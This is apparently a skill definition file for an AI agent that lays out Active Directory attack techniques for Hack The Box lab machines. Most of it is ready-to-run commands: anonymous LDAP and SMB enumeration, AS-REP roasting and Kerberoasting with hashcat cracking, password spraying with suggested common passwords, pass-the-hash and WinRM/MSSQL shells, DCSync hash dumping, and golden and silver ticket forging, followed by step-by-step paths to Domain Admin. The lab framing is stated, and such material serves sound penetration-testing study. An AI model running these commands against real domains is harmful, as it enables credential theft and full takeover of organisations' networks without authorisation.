active-directory-attacks

name	Active Directory Attacks
description	This skill should be used when the user asks about "Active Directory", "Kerberoasting", "AS-REP roasting", "LDAP enumeration", "BloodHound", "DCSync", "Pass-the-Hash", "Golden Ticket", or needs guidance on attacking Windows domain environments.
version	1.0.0

Active Directory Attacks Skill

Overview

Techniques for enumerating and attacking Active Directory environments in HTB machines.

Domain Discovery

Identify Domain Controller

# Nmap
nmap -p53,88,135,139,389,445,636,3268,3269 <TARGET>

# Key ports:
# 88 = Kerberos (confirms AD)
# 389/636 = LDAP
# 445 = SMB

Get Domain Information

# CrackMapExec
crackmapexec smb <TARGET>

# LDAP rootDSE
ldapsearch -x -H ldap://<TARGET> -s base namingContexts

Enumeration Without Credentials

LDAP Anonymous Bind

# Check if anonymous bind allowed
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=*)"

# Enumerate users
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName

# Enumerate groups
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=group)" cn member

# Look for passwords in descriptions
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(description=*)" sAMAccountName description

SMB Null Session

# List shares
smbclient -L //<TARGET> -N
crackmapexec smb <TARGET> --shares -u '' -p ''

# Check access
smbmap -H <TARGET> -u '' -p ''

# Full enumeration
enum4linux -a <TARGET>

RID Cycling

# Enumerate users via RID
crackmapexec smb <TARGET> -u '' -p '' --rid-brute

# Impacket
lookupsid.py <DOMAIN>/''@<TARGET> -no-pass

User Enumeration via Kerberos

# Kerbrute
kerbrute userenum -d <DOMAIN> --dc <TARGET> userlist.txt

Kerberos Attacks

AS-REP Roasting (No Credentials Required)

# Find users with "Do not require Kerberos preauthentication"
GetNPUsers.py <DOMAIN>/ -no-pass -usersfile users.txt -dc-ip <TARGET> -format hashcat

# Crack hashes
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting (Requires Valid Credentials)

# Request TGS for SPNs
GetUserSPNs.py <DOMAIN>/<USER>:<PASS> -dc-ip <TARGET> -request -outputfile tgs.txt

# Crack TGS hashes
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt

Password Spraying

# CrackMapExec (careful - can lock accounts!)
crackmapexec smb <TARGET> -u users.txt -p 'Password123' --continue-on-success

# Kerbrute (no lockout if done right)
kerbrute passwordspray -d <DOMAIN> --dc <TARGET> users.txt 'Password123'

# Common passwords to try:
# SeasonYear! (Summer2024!, Winter2024!)
# CompanyName123
# Password1
# Welcome1

Enumeration With Credentials

BloodHound Collection

# Python collector
bloodhound-python -u <USER> -p <PASS> -d <DOMAIN> -dc <TARGET> -c all

# SharpHound (from Windows)
.\SharpHound.exe -c all

LDAP Enumeration

# Full dump
ldapsearch -x -H ldap://<TARGET> -D "<USER>@<DOMAIN>" -w '<PASS>' \
    -b "DC=domain,DC=local" "(objectClass=*)" > ldap_dump.txt

# Find Domain Admins
ldapsearch -x -H ldap://<TARGET> -D "<USER>@<DOMAIN>" -w '<PASS>' \
    -b "DC=domain,DC=local" "(&(objectClass=group)(cn=Domain Admins))" member

SMB Enumeration

# List shares
crackmapexec smb <TARGET> -u <USER> -p <PASS> --shares

# Spider shares
crackmapexec smb <TARGET> -u <USER> -p <PASS> -M spider_plus

# Find sensitive files
smbclient //<TARGET>/share -U <USER>%<PASS>

Lateral Movement

Pass-the-Hash

# Psexec
psexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<NTLM>

# WMI
wmiexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<NTLM>

# CrackMapExec
crackmapexec smb <TARGET> -u <USER> -H <NTLM>

Pass-the-Ticket

# Export ticket
export KRB5CCNAME=ticket.ccache

# Use with Impacket
psexec.py -k -no-pass <TARGET>

WinRM

# Check access
crackmapexec winrm <TARGET> -u <USER> -p <PASS>

# Get shell
evil-winrm -i <TARGET> -u <USER> -p <PASS>

# With hash
evil-winrm -i <TARGET> -u <USER> -H <NTLM>

MSSQL

# Check access
crackmapexec mssql <TARGET> -u <USER> -p <PASS>

# Get shell
mssqlclient.py <DOMAIN>/<USER>:<PASS>@<TARGET>

# Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
xp_cmdshell 'whoami'

Domain Privilege Escalation

DCSync Attack

# Requires: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All
# Members of Domain Admins, Enterprise Admins, or Administrators have this by default

secretsdump.py <DOMAIN>/<USER>:<PASS>@<TARGET>

# Just krbtgt hash
secretsdump.py <DOMAIN>/<USER>:<PASS>@<TARGET> -just-dc-user krbtgt

Golden Ticket

# Requirements:
# - krbtgt NTLM hash (from DCSync)
# - Domain SID

# Get Domain SID
lookupsid.py <DOMAIN>/<USER>:<PASS>@<TARGET> | grep "Domain SID"

# Create Golden Ticket
ticketer.py -nthash <KRBTGT_HASH> -domain-sid <SID> -domain <DOMAIN> administrator

# Use ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass <DOMAIN>/administrator@<DC_HOSTNAME>

Silver Ticket

# Requirements:
# - Service account NTLM hash
# - SPN

ticketer.py -nthash <SERVICE_HASH> -domain-sid <SID> -domain <DOMAIN> \
    -spn cifs/<TARGET> administrator

export KRB5CCNAME=administrator.ccache
smbclient -k //<TARGET>/C$

Common Attack Paths

Path 1: Anonymous to Domain Admin

1. LDAP anonymous → Get users
2. AS-REP Roasting → Crack user password
3. Kerberoasting → Crack service account
4. Service account → Lateral movement
5. Find Domain Admin session → Token/hash theft
6. DCSync → Dump all hashes

Path 2: Low Priv User to Domain Admin

1. BloodHound collection → Find attack paths
2. Kerberoasting → Crack SPN accounts
3. ACL abuse → Add self to groups
4. DCSync or Golden Ticket

Path 3: MSSQL to Domain Admin

1. SQL injection → OS command execution
2. Enable xp_cmdshell
3. Enumerate domain from SQL server
4. Capture hashes (Responder)
5. Relay or crack hashes

Tools Reference

Tool	Purpose
Impacket	Swiss army knife for AD
CrackMapExec	Quick enumeration
BloodHound	Attack path visualization
Rubeus	Kerberos attacks
Mimikatz	Credential extraction
Evil-WinRM	WinRM shells
Kerbrute	Kerberos enumeration

Resources

• PayloadsAllTheThings AD: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md
• HackTricks AD: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
• Orange Cyberdefense AD Mindmap: https://orange-cyberdefense.github.io/ocd-mindmaps/